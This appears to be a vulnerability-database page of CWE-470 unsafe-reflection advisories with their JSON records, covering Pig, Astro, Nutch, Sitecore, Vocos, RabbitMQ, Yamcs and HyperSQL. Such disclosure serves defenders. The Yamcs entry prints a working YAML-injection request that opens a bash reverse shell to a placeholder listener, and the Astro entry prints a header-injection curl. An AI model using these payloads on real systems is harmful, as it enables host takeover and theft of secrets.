GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-470

Allowed

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Abstraction: Base · Status: Draft

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

164 vulnerabilities reference this CWE, most recent first.

GHSA-59MX-MHM6-4342

Vulnerability from github – Published: 2025-11-07 18:30 – Updated: 2025-11-07 21:31
VLAI
Details

In pig-mesh Pig versions 3.8.2 and below, when setting up scheduled tasks in the Quartz management function under the system management module, it is possible to execute any Java class with a parameterless constructor and its methods with parameter type String through reflection. At this time, the eval method in Tomcat's built-in class jakarta.el.ELProcessor can be used to execute commands, leading to a remote code execution vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-63690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-07T16:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "In pig-mesh Pig versions 3.8.2 and below, when setting up scheduled tasks in the Quartz management function under the system management module, it is possible to execute any Java class with a parameterless constructor and its methods with parameter type String through reflection. At this time, the eval method in Tomcat\u0027s built-in class jakarta.el.ELProcessor can be used to execute commands, leading to a remote code execution vulnerability.",
  "id": "GHSA-59mx-mhm6-4342",
  "modified": "2025-11-07T21:31:20Z",
  "published": "2025-11-07T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pig-mesh/pig/issues/1199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LockeTom/vulnerability/blob/main/md/pig_Remote_Code_Execution_Vulnerability.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5FF5-9FCW-VG88

Vulnerability from github – Published: 2025-10-10 23:41 – Updated: 2025-10-10 23:41
VLAI
Summary
Astro's `X-Forwarded-Host` is reflected without validation
Details

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC

  • Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
  • nvm use
  • yarn run build
  • node ./dist/server/entry.mjs
  • curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
  • Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-10T23:41:29Z",
    "nvd_published_at": "2025-10-10T20:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an `X-Forwarded-Host` header that is reflected when using the recommended `Astro.url` property as there is no validation that the value is safe.\n\n### Details\nAstro reflects the value in `X-Forwarded-Host` in output when using `Astro.url` without any validation. \n\nIt is common for web servers such as nginx to route requests via the `Host` header, and forward on other request headers. As such as malicious request can be sent with both a `Host` header and an `X-Forwarded-Host` header where the values do not match and the `X-Forwarded-Host` header is malicious. Astro will then return the malicious value.\n\nThis could result in any usages of the `Astro.url` value in code being manipulated by a request. For example if a user follows guidance and uses `Astro.url` for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.\n\nAs this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.\n\nMany other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.\n\n### PoC\n- Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server\n- `nvm use`\n- `yarn run build`\n- `node ./dist/server/entry.mjs`\n- `curl --location \u0027http://localhost:4321/\u0027 --header \u0027X-Forwarded-Host: www.evil.com\u0027 --header \u0027Host: www.example.com\u0027`\n- Observe that the response reflects the malicious `X-Forwarded-Host` header\n\nFor the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above `curl` request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.\n\n### Impact\n\nThis could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.",
  "id": "GHSA-5ff5-9fcw-vg88",
  "modified": "2025-10-10T23:41:29Z",
  "published": "2025-10-10T23:41:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chisnet/minimal_dynamic_astro_server"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro\u0027s `X-Forwarded-Host` is reflected without validation"
}

GHSA-5W4F-VWV7-MJ4C

Vulnerability from github – Published: 2026-09-09 12:32 – Updated: 2026-09-10 18:31
VLAI
Details

Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Nutch Server (Nutch REST API).

This issue affects Apache Nutch: from 1.10 through 1.22.

Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T11:17:14Z",
    "severity": "CRITICAL"
  },
  "details": "Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability\u00a0in Apache Nutch Server  (Nutch REST API).\n\n\n\nThis issue affects Apache Nutch: from 1.10 through 1.22.\n\n\n\nUsers are recommended to upgrade to version 1.23, which removes the Nutch Server.\nIf an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only.\nPlease, also visit the  Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .",
  "id": "GHSA-5w4f-vwv7-mj4c",
  "modified": "2026-09-10T18:31:39Z",
  "published": "2026-09-09T12:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41871"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/rbr63fx8vlrhzrfknq2l0mg0d0blsl54"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/08/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-692M-F288-97HP

Vulnerability from github – Published: 2023-06-06 21:30 – Updated: 2024-04-04 04:36
VLAI
Details

Sitecore Experience Platform (XP) v9.3 was discovered to contain an authenticated remote code execution (RCE) vulnerability via the component /sitecore/shell/Invoke.aspx.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-33652"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-06T19:15:12Z",
    "severity": "HIGH"
  },
  "details": "Sitecore Experience Platform (XP) v9.3 was discovered to contain an authenticated remote code execution (RCE) vulnerability via the component /sitecore/shell/Invoke.aspx.",
  "id": "GHSA-692m-f288-97hp",
  "modified": "2024-04-04T04:36:30Z",
  "published": "2023-06-06T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33652"
    },
    {
      "type": "WEB",
      "url": "https://blog.assetnote.io/2023/05/10/sitecore-round-two"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-697J-X98H-3QGG

Vulnerability from github – Published: 2026-08-25 18:31 – Updated: 2026-08-25 18:31
VLAI
Details

Vocos instantiates a class named by a configuration file without restricting which class may be named. instantiate_class in vocos/pretrained.py takes the class_path value from the configuration, splits it into a module and an attribute, imports the module with import, resolves the attribute with getattr, and calls the result as args_class(args, *kwargs) where kwargs is the config's own init_args mapping. No allowlist constrains the dotted path, so a configuration may name any importable callable and supply the arguments it is called with. Vocos.from_hparams reaches this for each of the feature_extractor, backbone and head entries, and Vocos.from_pretrained reaches it with a remote file: it downloads config.yaml from a caller-named Hugging Face repository and passes it straight to from_hparams. Loading a model from a repository the user does not control therefore executes code of the repository owner's choosing in the loading process. The neighbouring torch.load of the downloaded weights is a separate matter and is constrained on PyTorch releases that default weights_only to true, which leaves this path as the reachable one.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T16:17:30Z",
    "severity": "HIGH"
  },
  "details": "Vocos instantiates a class named by a configuration file without restricting which class may be named. instantiate_class in vocos/pretrained.py takes the class_path value from the configuration, splits it into a module and an attribute, imports the module with __import__, resolves the attribute with getattr, and calls the result as args_class(*args, **kwargs) where kwargs is the config\u0027s own init_args mapping. No allowlist constrains the dotted path, so a configuration may name any importable callable and supply the arguments it is called with. Vocos.from_hparams reaches this for each of the feature_extractor, backbone and head entries, and Vocos.from_pretrained reaches it with a remote file: it downloads config.yaml from a caller-named Hugging Face repository and passes it straight to from_hparams. Loading a model from a repository the user does not control therefore executes code of the repository owner\u0027s choosing in the loading process. The neighbouring torch.load of the downloaded weights is a separate matter and is constrained on PyTorch releases that default weights_only to true, which leaves this path as the reachable one.",
  "id": "GHSA-697j-x98h-3qgg",
  "modified": "2026-08-25T18:31:54Z",
  "published": "2026-08-25T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gemelo-ai/vocos/issues/76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gemelo-ai/vocos"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gemelo-ai/vocos/blob/main/vocos/pretrained.py"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vocos"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vocos-through-arbitrary-code-execution-via-unrestricted-class-path-in-model-configuration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6G32-PXV4-2WFJ

Vulnerability from github – Published: 2026-08-18 16:32 – Updated: 2026-08-18 16:32
VLAI
Summary
RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading
Details

The JSON-RPC tools in com.rabbitmq.tools.jsonrpc perform Class.forName(javaReturnType) with initialize=true on class names received from untrusted AMQP messages, without any validation or allowlist.

Vulnerable code (ProcedureDescription.java:101-127): When a JsonRpcClient connects, it calls system.describe and receives a service description from the AMQP queue. The response JSON includes javaReturnType fields that are reflectively set via JSONUtil.tryFill(), triggering setJavaReturnType()computeReturnTypeAsJavaClass()Class.forName(javaReturnType).

Attack scenario: 1. Victim uses JsonRpcClient to connect to a JSON-RPC service via RabbitMQ 2. Attacker (co-tenant on shared broker, or MITM) intercepts the system.describe request 3. Attacker responds with crafted javaReturnType values 4. Victim's client calls Class.forName(attackerInput) with default initialize=true 5. Static initializers of attacker-specified classes execute in victim's JVM

Additionally, the loaded class from getReturnType() is passed to mapper.parse(replyStr, expectedType) at JsonRpcClient.java:168, potentially enabling type-confusion.

Recommended fix: Use Class.forName(javaReturnType, false, classLoader) to prevent static initializer execution, or add an allowlist of permitted return types.

CWE: CWE-470


Reply from reporter (2026-06-29): Thanks for the quick turnaround. Fix looks good. Looking forward to the CVE assignment.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq:amqp-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T16:32:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The JSON-RPC tools in `com.rabbitmq.tools.jsonrpc` perform `Class.forName(javaReturnType)` with `initialize=true` on class names received from untrusted AMQP messages, without any validation or allowlist.\n\n**Vulnerable code** (`ProcedureDescription.java:101-127`):\nWhen a `JsonRpcClient` connects, it calls `system.describe` and receives a service description from the AMQP queue. The response JSON includes `javaReturnType` fields that are reflectively set via `JSONUtil.tryFill()`, triggering `setJavaReturnType()` \u2192 `computeReturnTypeAsJavaClass()` \u2192 `Class.forName(javaReturnType)`.\n\n**Attack scenario:**\n1. Victim uses `JsonRpcClient` to connect to a JSON-RPC service via RabbitMQ\n2. Attacker (co-tenant on shared broker, or MITM) intercepts the `system.describe` request\n3. Attacker responds with crafted `javaReturnType` values\n4. Victim\u0027s client calls `Class.forName(attackerInput)` with default `initialize=true`\n5. Static initializers of attacker-specified classes execute in victim\u0027s JVM\n\nAdditionally, the loaded class from `getReturnType()` is passed to `mapper.parse(replyStr, expectedType)` at `JsonRpcClient.java:168`, potentially enabling type-confusion.\n\n**Recommended fix:** Use `Class.forName(javaReturnType, false, classLoader)` to prevent static initializer execution, or add an allowlist of permitted return types.\n\n**CWE:** CWE-470\n\n---\n\n**Reply from reporter (2026-06-29):** Thanks for the quick turnaround. Fix looks good. Looking forward to the CVE assignment.",
  "id": "GHSA-6g32-pxv4-2wfj",
  "modified": "2026-08-18T16:32:29Z",
  "published": "2026-08-18T16:32:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-6g32-pxv4-2wfj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2002"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/0032f75f9dc3df847f94b2b85a16119250bf63cb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/9f8e7efd0c648f235dc0e96232ae7efa75ea4fa8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading"
}

GHSA-6JJ2-MFWJ-34Q5

Vulnerability from github – Published: 2025-09-03 15:30 – Updated: 2025-09-03 15:30
VLAI
Details

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Sitecore Sitecore Experience Manager (XM), Sitecore Experience Platform (XP) allows Cache Poisoning.This issue affects Sitecore Experience Manager (XM): from 9.0 through 9.3, from 10.0 through 10.4; Experience Platform (XP): from 9.0 through 9.3, from 10.0 through 10.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-53693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-03T13:15:49Z",
    "severity": "CRITICAL"
  },
  "details": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in Sitecore Sitecore Experience Manager (XM), Sitecore Experience Platform (XP) allows Cache Poisoning.This issue affects Sitecore Experience Manager (XM): from 9.0 through 9.3, from 10.0 through 10.4; Experience Platform (XP): from 9.0 through 9.3, from 10.0 through 10.4.",
  "id": "GHSA-6jj2-mfwj-34q5",
  "modified": "2025-09-03T15:30:33Z",
  "published": "2025-09-03T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53693"
    },
    {
      "type": "WEB",
      "url": "https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce"
    },
    {
      "type": "WEB",
      "url": "https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1003667"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-73MF-M39P-WPM9

Vulnerability from github – Published: 2026-08-28 17:23 – Updated: 2026-08-28 17:23
VLAI
Summary
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
Details

Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec: InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances) → YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs)) → rendered config loaded as YConfigurationYamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader) → org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

curl -i -X POST http://<target>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-470",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:23:04Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren\u0027t escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it\u0027s reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn\u0027t touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`\u0026 \u003c \u003e \u0027 \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn\u0027t help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n\u2192 `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n\u2192 rendered config loaded as `YConfiguration`\n\u2192 `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n\u2192 `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"name\": \"pwned\",\n    \"template\": \"example\",\n    \"templateArgs\": {\n      \"spaceSystem\": \"x\\\"\\nservices:\\n  - class: org.yamcs.ProcessRunner\\n    args:\\n      command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\\\"]\\n#\",\n      \"bar\": \"Option 2\"\n    }\n  }\u0027\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template\u0027s `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it\u0027s the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege \u0027ChangeMissionDatabase\u0027`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn\u0027t have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
  "id": "GHSA-73mf-m39p-wpm9",
  "modified": "2026-08-28T17:23:04Z",
  "published": "2026-08-28T17:23:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)"
}

GHSA-77XX-RXVH-Q682

Vulnerability from github – Published: 2022-10-06 18:52 – Updated: 2023-01-11 22:59
VLAI
Summary
HyperSQL DataBase vulnerable to remote code execution when processing untrusted input
Details

Those using java.sql.Statement or java.sql.PreparedStatement in hsqldb (HyperSQL DataBase) to process untrusted input may be vulnerable to a remote code execution attack. By default it is allowed to call any static method of any Java class in the classpath resulting in code execution. The issue can be prevented by updating to 2.7.1 or by setting the system property "hsqldb.method_class_names" to classes which are allowed to be called. For example, System.setProperty("hsqldb.method_class_names", "abc") or Java argument -Dhsqldb.method_class_names="abc" can be used. From version 2.7.1 all classes by default are not accessible except those in java.lang.Math and need to be manually enabled.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.hsqldb:hsqldb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41853"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-06T21:16:51Z",
    "nvd_published_at": "2022-10-06T18:17:00Z",
    "severity": "CRITICAL"
  },
